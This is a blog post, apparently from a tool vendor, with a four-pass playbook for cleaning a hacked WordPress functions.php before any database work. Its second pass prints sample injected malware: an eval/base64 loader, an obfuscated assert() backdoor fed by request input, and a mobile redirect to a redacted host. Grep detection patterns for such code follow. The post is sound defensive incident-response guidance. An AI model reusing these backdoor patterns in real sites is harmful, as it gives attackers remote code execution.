107 —WordPress
WordPress functions.php hack: a four-pass cleanup playbook
A hacked theme functions.php is rarely alone. Here is the four-pass cleanup we run on WordPress sites before anyone goes near wp-options or wp-posts.
The first Loom landed at 23:41. A small Dutch agency we work with had taken on emergency hosting for a five-year-old legacy site running WordPress, the kind that serves a single product brochure and a contact form. The previous developer had vanished. The site was still serving pages, but every third page-load now redirected mobile users to a Telegram funnel hosted on a .ru domain. The agency lead opened wp-content/themes/saledine/functions.php and the first 11 lines were a wall of eval(base64_decode( followed by a 4,200-character string.
That is the moment the question stops being "is this hacked" and starts being "how much else is hacked." The WordPress functions.php injection is almost never the whole story. Treating it as the whole story is how you spend three hours cleaning the visible payload and then watch it return at 03:00, because a sibling implant in mu-plugins/ re-wrote the file on a cron tick.
Below is the four-pass cleanup we run on a hacked WordPress site before we touch the database. The order matters. The database is the most expensive thing to clean and the most expensive thing to break, so we leave it for last.
Pass one: freeze the patient
The first thing we do is stop the site from helping the attacker. That does not mean taking the site offline. Most agencies cannot afford to dark-page a client's storefront for the four hours a real cleanup takes. It means three smaller things, all reversible.
First, we snapshot the entire docroot to a directory the web user cannot write to. A read-only tarball with a timestamp in the name, stored on a separate disk or pulled down over SFTP. This is your evidence, your rollback, and your diff baseline. Do not skip it because you "have a backup from last week." Last week's backup is from before the attacker burrowed in.
tar --exclude='wp-content/cache' --exclude='wp-content/uploads/cache' \
-czf /var/backups/saledine-$(date +%Y%m%d-%H%M).tgz \
/var/www/saledine/htdocs
chmod 0400 /var/backups/saledine-*.tgzSecond, we add a single .htaccess block at the docroot that blocks PHP execution from inside wp-content/uploads/. This is the most common re-entry point. Even if the attacker has dropped a fresh webshell in uploads/2024/03/, this stops it dialling home while we work.
# /var/www/saledine/htdocs/wp-content/uploads/.htaccess
<FilesMatch "\.(php|phtml|phar|php7|php8)$">
Require all denied
</FilesMatch>Apache's documentation on Require directives covers the syntax. On nginx, the equivalent is a location ~* /wp-content/uploads/.*\.php$ { deny all; } block in the server config, applied with nginx -s reload.
Third, we do not rotate secrets yet. The attacker may still be reading the logs, and rotating now signals that you have noticed. We add a note to rotate at the end of pass four, after we have a clean image to deploy back onto.
Pass two: read the visible payload
Now the functions.php. Open it in an editor that will not auto-execute anything (so, not your IDE's "preview" mode). The first task is to understand what the injection does, not to delete it. Delete-without-reading is how you remove the payload but leave the persistence mechanism in place.
A typical WordPress functions.php injection in the last 18 months looks like one of three patterns:
// Pattern A: the prepended eval/base64
@eval(base64_decode("aWYoaXNzZXQoJF9SRVF..."));
// Pattern B: the obfuscated function
function _wp_get_request_data($k) {
$a = ['a','s','s','e','r','t'];
$f = implode('', $a);
return $f($_REQUEST[$k] ?? '');
}
add_action('init', '_wp_get_request_data');
// Pattern C: the conditional crawler redirect
if (!empty($_SERVER['HTTP_USER_AGENT']) &&
preg_match('/Mobile|iPhone|Android/i', $_SERVER['HTTP_USER_AGENT']) &&
!preg_match('/bot|crawl|spider/i', $_SERVER['HTTP_USER_AGENT'])) {
@header('Location: https://[redacted].ru/go?id=42');
exit;
}Decode the base64 in pattern A by hand, in a sandbox. Do not pipe it into eval on a live server, but also do not paste it into a public web decoder, because the payload usually contains the attacker's command-and-control URL and you do not want that URL appearing in a third-party log. echo "aWYoaXNz..." | base64 -d on a disconnected VM is enough.
What you almost always find is a request handler that takes a command from a POST parameter, runs it through eval, and returns the output. That is your real entry point. The redirect is the noisy symptom. The eval handler is the door.
Note what file the payload lives in (wp-content/themes/saledine/functions.php), what other strings appear nearby (aes-256, gzinflate, str_rot13), and what hook it attaches to (init, wp_loaded, after_setup_theme). You will grep for those strings in pass three.
Pass three: hunt for siblings
This is the pass that catches the implants the first pass missed. Every signature you noted in pass two becomes a grep target across the entire docroot, not just the theme directory.
cd /var/www/saledine/htdocs
grep -rEn --include='*.php' \
'eval\s*\(\s*(base64_decode|gzinflate|str_rot13)' \
wp-content/ wp-includes/ wp-admin/ 2>/dev/nullThe output is usually longer than the agency lead expected. We have seen sites with the same payload echoed into:
wp-content/mu-plugins/index.php(a must-use plugin auto-loads on every request, no admin action required)wp-content/plugins/akismet/_inc/akismet-frontend.js.php(a real plugin file path with a fake suffix)wp-includes/class-wp-hook.php(yes, attackers do edit core)wp-content/uploads/2024/03/.thumb.php(the uploads payload your .htaccess just blocked)
Each of those is a separate root cause. Treat them as separate findings, not as duplicates. Read each one in pass-two style before you delete it. Sometimes pattern A in the WordPress functions.php is the decoy, and the real persistence sits in mu-plugins where nobody looks.
A second useful grep is for the WordPress functions attackers tend to misuse:
grep -rEn --include='*.php' \
'wp_schedule_(single_)?event|update_option\([^,]*active_plugins' \
wp-content/ wp-includes/If you find an update_option('active_plugins', ...) call inside a theme file, the attacker is rewriting your plugin list at runtime, which means even your "I disabled all plugins" test was lying to you.
Pass four: diff against a clean baseline
The previous three passes are subtractive. This one is comparative. We download a clean copy of the exact WordPress version the site is running, plus clean copies of every plugin and the theme (if it is a public theme), and we diff the trees.
# Get the running version
grep wp_version /var/www/saledine/htdocs/wp-includes/version.php
# $wp_version = '6.4.3';
# Pull the matching core
curl -sLO https://wordpress.org/wordpress-6.4.3.tar.gz
tar -xzf wordpress-6.4.3.tar.gz -C /tmp/clean/
# Diff the live tree against clean
diff -rq /tmp/clean/wordpress/wp-includes/ \
/var/www/saledine/htdocs/wp-includes/
diff -rq /tmp/clean/wordpress/wp-admin/ \
/var/www/saledine/htdocs/wp-admin/Anything that comes back as "Only in" the live tree, or as "differ", is a candidate. Most of it will be benign (a plugin that legitimately writes to wp-content/). Some of it will not. We have found injections inside wp-admin/includes/class-wp-filesystem-ftpext.php this way that no grep would have caught, because the attacker had carefully matched WordPress's own coding style.
For the theme, if it is a custom build with no upstream, the diff baseline is the tarball from pass one of an earlier backup you trust. The WordPress hardening guide lists the file integrity check approach in more detail, but the principle is the same: compare what is running against what should be running, and treat every delta as a question.
By the end of pass four you have:
- A list of every modified file
- A list of every added file
- A decoded copy of every payload
- A list of every cron hook the implants registered
- A blocked uploads directory
- An untouched database
That last point is the one that matters. You have not run a single UPDATE. You have not deleted a single row from wp_options. You have not "cleaned" the users table. Everything you have done so far is reversible by restoring the tarball from pass one.
Why we wait on the database
The database is where a cleanup goes wrong. It is also where the second wave of an attack usually lives: a row in wp_options with autoload = yes that re-injects the theme file on the next page load, a hidden admin user with user_registered backdated to 2019, a wp_usermeta row that grants manage_options to a normal subscriber. None of that is safe to touch until you understand what every implant in the file system was doing, because half the time the file system implant is the read side and the database row is the write side.
The four passes above give you that understanding. Once you have it, the database work becomes a series of small, targeted queries instead of a panicked wp-cli search-replace that nukes a legitimate widget config along with the malware.
When we built Pier we kept running into this exact shape of incident on customer sites. The thing we ended up doing was treating the file system and the database as one connected workspace, with version history on every edit and a MySQL editor that sits next to the SFTP tree, so the four-pass walk and the database cleanup happen in the same window without losing the diff state between them.
The smallest thing you could do today, even without a live incident, is add the uploads-directory PHP block from pass one to every WordPress site you maintain. It costs nothing, it breaks nothing legitimate, and it removes the single most common re-entry point before you ever need to write the rest of the playbook.
— Questions —
Should I run a security plugin first?
Not before pass one. Most security plugins write to wp_options and the database, which is exactly what you want to keep clean until you have read every file-system implant.
Can I use WP-CLI for this cleanup?
Yes for read-only commands like wp core verify-checksums. Avoid wp option update or wp user delete until pass four is finished and you understand what each implant was doing.
How long does the four-pass cleanup take?
A clean run on a small site is about 90 minutes. Sites with multiple implants and a custom theme take three to four hours before you touch the database.
What about the host's malware scanner?
Useful as a second opinion after pass four, not before. Host scanners flag known signatures, not behaviour, and they routinely miss mu-plugins and modified core files.